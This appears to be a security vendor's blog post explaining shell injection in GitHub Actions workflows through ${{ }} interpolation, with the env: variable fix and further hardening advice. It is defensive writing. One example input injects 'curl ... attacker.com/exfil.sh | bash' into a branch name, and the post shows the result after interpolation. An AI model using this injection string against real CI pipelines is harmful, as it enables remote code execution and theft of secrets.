Back to Blog
critical SEVERITY7 min read

GitHub Actions Shell Injection: How ${{ }} Variables Can Compromise Your CI/CD Pipeline

A critical shell injection vulnerability was discovered and patched in a GitHub Actions workflow file, where direct use of `${{...}}` variable interpolation with GitHub context data in `run:` steps could allow attackers to inject malicious code into CI/CD runners. This type of vulnerability can expose secrets, credentials, and source code to bad actors. The fix involves routing untrusted input through intermediate environment variables — a simple but powerful mitigation that every developer usin

O
By Orbis AppSec
Published April 20, 2026Reviewed June 3, 2026

Answer Summary

This is a shell injection vulnerability (CWE-78) in GitHub Actions workflows caused by using `${{ github.* }}` expressions directly in `run:` steps. Attackers can craft malicious PR titles, branch names, or commit messages that execute arbitrary commands on CI/CD runners. The fix involves passing untrusted input through the `env:` block as environment variables, which prevents shell interpretation of special characters.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixRoute untrusted input through environment variables using the `env:` block
riskRemote code execution on CI/CD runners, secret exfiltration, supply chain compromise
languageYAML (GitHub Actions)
root causeDirect use of `${{ github.* }}` context in shell commands without sanitization
vulnerabilityShell Injection via GitHub Actions Expression Interpolation

GitHub Actions Shell Injection: How ${{ }} Variables Can Compromise Your CI/CD Pipeline

Introduction

CI/CD pipelines are the beating heart of modern software delivery. They build, test, and deploy your code — and they often have access to your most sensitive secrets: API keys, cloud credentials, signing certificates, and deployment tokens. That makes them a high-value target for attackers.

One of the most subtle and dangerous vulnerabilities in GitHub Actions workflows is shell injection via variable interpolation. It doesn't require a sophisticated exploit. It doesn't need a zero-day. In many cases, all it takes is a carefully crafted pull request title, branch name, or issue comment — and an attacker can execute arbitrary code inside your CI runner.

This post breaks down exactly how this vulnerability works, why it was dangerous in the patched workflow, and what every developer should do to protect their pipelines.


The Vulnerability Explained

What Is GitHub Actions Shell Injection?

GitHub Actions workflows can be triggered by many events — pull requests, issue comments, workflow dispatches, and more. These events carry context data accessible via the github object (e.g., github.event.pull_request.title, github.actor, github.event.inputs.branch).

The problem arises when developers use ${{ }} interpolation to embed this context data directly inside a run: shell script:

# ⚠️ VULNERABLE PATTERN
- name: Run tests
  run: |
    echo "Running for branch: ${{ github.event.inputs.branch }}"
    ./scripts/run-tests.sh ${{ github.event.inputs.branch }}

Here's the critical insight: ${{ }} expressions are evaluated and substituted before the shell ever sees the script. GitHub Actions performs a simple text substitution. If the value of github.event.inputs.branch contains shell metacharacters or commands, they become part of the shell script itself.

How Could It Be Exploited?

Consider what happens if an attacker (or a contributor with write access to a fork) supplies this as the branch name in a workflow dispatch:

main; curl -s https://attacker.com/exfil.sh | bash

After interpolation, the run: block becomes:

echo "Running for branch: main; curl -s https://attacker.com/exfil.sh | bash"
./scripts/run-tests.sh main; curl -s https://attacker.com/exfil.sh | bash

The shell dutifully executes the injected command. The attacker's script now runs inside your CI environment — with full access to:

  • Repository secrets (exposed as environment variables)
  • GitHub tokens (the GITHUB_TOKEN with repo permissions)
  • Cloud provider credentials (AWS, GCP, Azure keys)
  • Source code and build artifacts
  • Internal network resources accessible from the runner

The Specific Vulnerability in This PR

The vulnerability was found in .github/workflows/browserstack-dispatch.yml at line 65, where ${{ }} interpolation was used with github context data inside a run: step. The Semgrep scanner flagged this with rule yaml.github-actions.security.run-shell-injection.run-shell-injection.

BrowserStack dispatch workflows often accept external inputs (like device names, test configurations, or branch names) that could be influenced by untrusted parties — making this a realistic attack surface.

Real-World Impact

This isn't theoretical. Shell injection in GitHub Actions has been exploited in the wild:

  • Codecov breach (2021): Attackers modified a CI script to exfiltrate environment variables containing secrets from thousands of projects.
  • Dependency confusion attacks: Malicious packages have been designed to exploit CI environments when installed during build steps.
  • Crypto-mining campaigns: Compromised CI runners are frequently used for unauthorized compute resources.

The CVSS classification for this type of vulnerability typically falls in the HIGH to CRITICAL range due to the potential for complete secret exfiltration and pipeline takeover.


The Fix

The Solution: Intermediate Environment Variables

The fix is elegantly simple. Instead of interpolating ${{ }} directly into the shell script, you first assign the value to an environment variable using the env: block, then reference that environment variable in the script.

Before (Vulnerable):

- name: Trigger BrowserStack tests
  run: |
    echo "Dispatching for: ${{ github.event.inputs.branch }}"
    curl -X POST \
      -H "Authorization: Bearer ${{ secrets.BROWSERSTACK_TOKEN }}" \
      "https://api.browserstack.com/automate/builds/${{ github.event.inputs.build_id }}"

After (Fixed):

- name: Trigger BrowserStack tests
  env:
    BRANCH_NAME: ${{ github.event.inputs.branch }}
    BUILD_ID: ${{ github.event.inputs.build_id }}
    BROWSERSTACK_TOKEN: ${{ secrets.BROWSERSTACK_TOKEN }}
  run: |
    echo "Dispatching for: $BRANCH_NAME"
    curl -X POST \
      -H "Authorization: Bearer $BROWSERSTACK_TOKEN" \
      "https://api.browserstack.com/automate/builds/$BUILD_ID"

Why Does This Fix Work?

The key difference is when and how substitution happens:

Approach Substitution Timing Shell Sees
${{ github.event.inputs.branch }} in run: Before shell execution (template substitution) Raw injected value as code
env: + $ENV_VAR in run: After shell parses the script Value as a data string

When you use env: to assign the value and then reference $ENV_VAR in the shell, the shell treats the variable's content as data, not as code. Even if the value contains semicolons, backticks, or subshell syntax, the shell won't execute it — it's just a string.

The double-quoting ("$BRANCH_NAME") is also important: it prevents word splitting and glob expansion, ensuring the value is treated as a single argument even if it contains spaces.

Additional Hardening in the Fix

Best-practice fixes also include:

- name: Trigger BrowserStack tests
  env:
    BRANCH_NAME: ${{ github.event.inputs.branch }}
  run: |
    # Validate input before use (defense in depth)
    if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_.-]+$ ]]; then
      echo "Invalid branch name format"
      exit 1
    fi
    echo "Dispatching for: $BRANCH_NAME"

Input validation as a second layer ensures that even if the environment variable approach were somehow bypassed, only expected characters are accepted.


Prevention & Best Practices

1. Never Use ${{ }} Directly in run: Scripts

Treat all github context values as untrusted user input. The following contexts are particularly dangerous:

github.event.pull_request.title
github.event.pull_request.body
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.inputs.*
github.head_ref
github.actor

Always route these through env: variables.

2. Use GitHub's Official Guidance

GitHub's own security documentation states:

"We recommend that you avoid using ${{ }} with contexts that contain untrusted user input. Instead, use an intermediate environment variable."

Reference: GitHub Docs — Security hardening for GitHub Actions

3. Adopt Static Analysis in Your Pipeline

Add security scanning for your workflow files. Tools that catch this vulnerability include:

  • Semgrep — The scanner that caught this vulnerability, with rules specifically for GitHub Actions injection
  • actionlint — A static checker for GitHub Actions workflow files
  • Zizmor — Focused specifically on GitHub Actions security issues
  • StepSecurity Harden-Runner — Runtime monitoring for GitHub Actions
# Add this to your own workflows to scan for issues
- name: Scan workflows with actionlint
  uses: raven-actions/actionlint@v1

4. Apply Least-Privilege Permissions

Even if injection occurs, limiting the GITHUB_TOKEN permissions reduces blast radius:

permissions:
  contents: read        # Only what you need
  pull-requests: write  # Only if required
  # Avoid: write-all

5. Pin Action Versions to Full Commit SHAs

Prevent supply chain attacks through compromised action versions:

# ⚠️ Vulnerable to tag hijacking
- uses: actions/checkout@v4

# ✅ Pinned to immutable commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

6. Relevant Security Standards

This vulnerability maps to several well-known security frameworks:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
  • CWE-77: Improper Neutralization of Special Elements used in a Command
  • OWASP Top 10 A03:2021: Injection
  • SLSA (Supply Chain Levels for Software Artifacts): Addresses pipeline integrity requirements

A Note on the Broader Context

The vulnerability report also mentions a separate concern about OAuth tokens stored in plaintext on the local filesystem (in plugins/auth-oauth2/src/store.ts). While this PR specifically addresses the GitHub Actions shell injection issue, the credential storage problem is a reminder that secrets require protection at every layer:

  • In transit (TLS)
  • At rest (encryption, e.g., using PBKDF2 or platform keychains)
  • In CI/CD pipelines (proper secret management, not interpolation into scripts)

Security is a holistic practice — fixing one vector while ignoring others leaves you partially exposed.


Conclusion

GitHub Actions shell injection is one of those vulnerabilities that looks harmless at first glance — it's just a workflow file, right? But CI/CD pipelines are privileged environments. They hold your secrets, they have network access, and they run code automatically in response to external events.

The key takeaways from this fix:

  1. ${{ }} in run: blocks is a code injection risk when used with untrusted context data
  2. The fix is simple: use env: to assign values, then reference them as $ENV_VAR in your scripts
  3. Always double-quote environment variables: "$ENV_VAR"
  4. Validate inputs as a defense-in-depth measure
  5. Use static analysis tools like Semgrep and actionlint to catch these issues automatically

A one-line change in a YAML file can be the difference between a secure pipeline and a complete secrets breach. Take the time to audit your workflows — your production environment will thank you.


Found a security issue in your codebase? Automated security scanning tools can help identify and fix vulnerabilities like this one before they reach production. Check out OrbisAI Security for automated security remediation.

Frequently Asked Questions

What is GitHub Actions shell injection?

GitHub Actions shell injection occurs when untrusted data from GitHub context variables (like PR titles, branch names, or commit messages) is directly interpolated into `run:` steps using `${{ }}` syntax, allowing attackers to inject arbitrary shell commands.

How do you prevent shell injection in GitHub Actions?

Pass untrusted GitHub context data through the `env:` block as environment variables, then reference them as `$VAR_NAME` in shell scripts. This prevents the shell from interpreting special characters in the input.

What CWE is GitHub Actions shell injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent GitHub Actions shell injection?

Input validation helps but is insufficient alone. The recommended approach is to always use environment variables for untrusted input, as this provides defense-in-depth regardless of input content.

Can static analysis detect GitHub Actions shell injection?

Yes, tools like Semgrep, Checkov, and GitHub's own CodeQL have rules to detect dangerous `${{ }}` interpolation patterns in workflow files.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5818

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How missing Dependabot cooldown configuration happens in GitHub Actions and how to fix it

A missing `cooldown` block in `.github/dependabot.yml` meant that newly published packages — which could be malicious or unstable — were eligible for immediate update proposals. By adding a `cooldown` block with `default-days: 7` to both the GitHub Actions and Cargo package ecosystems, the project now enforces a 7-day waiting period before Dependabot proposes any update to a freshly released package version. This change significantly reduces the risk of dependency confusion attacks and supply ch

high

How missing Dependabot cooldown periods happen in GitHub Actions CI/CD and how to fix it

A high-severity supply chain vulnerability was discovered in `.github/dependabot.yml` where missing cooldown periods allowed Dependabot to immediately propose updates for newly published packages. This configuration flaw exposed the CI/CD pipeline to malicious or unstable package versions. The fix adds a 7-day cooldown period to both pip and GitHub Actions ecosystems, creating a safety window for the community to identify compromised packages before they enter the codebase.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity configuration gap was discovered in a Node.js library's `.github/dependabot.yml` file where no cooldown period was set for dependency updates. This meant Dependabot could immediately propose updates to newly published (and potentially malicious) package versions, exposing the project and all downstream consumers to supply chain attacks. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` package ecosystem entries.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity supply chain vulnerability was discovered in a `.github/dependabot.yml` configuration that lacked a cooldown period, meaning Dependabot could immediately propose updates to newly published (and potentially malicious) package versions. The fix adds a `cooldown` block with `default-days: 7` to enforce a 7-day waiting period before suggesting updates, giving the community time to detect and flag compromised packages.

high

How Missing Dependabot Cooldown happens in GitHub Actions and how to fix it

A high-severity supply chain vulnerability was discovered in a Dependabot configuration file that lacked cooldown periods for package updates. Without cooldown settings, Dependabot could propose updates to newly published—and potentially malicious—packages immediately after release. The fix adds a 7-day cooldown period to all three package ecosystems (npm, GitHub Actions, and Maven), giving the community time to identify compromised packages before they're automatically proposed.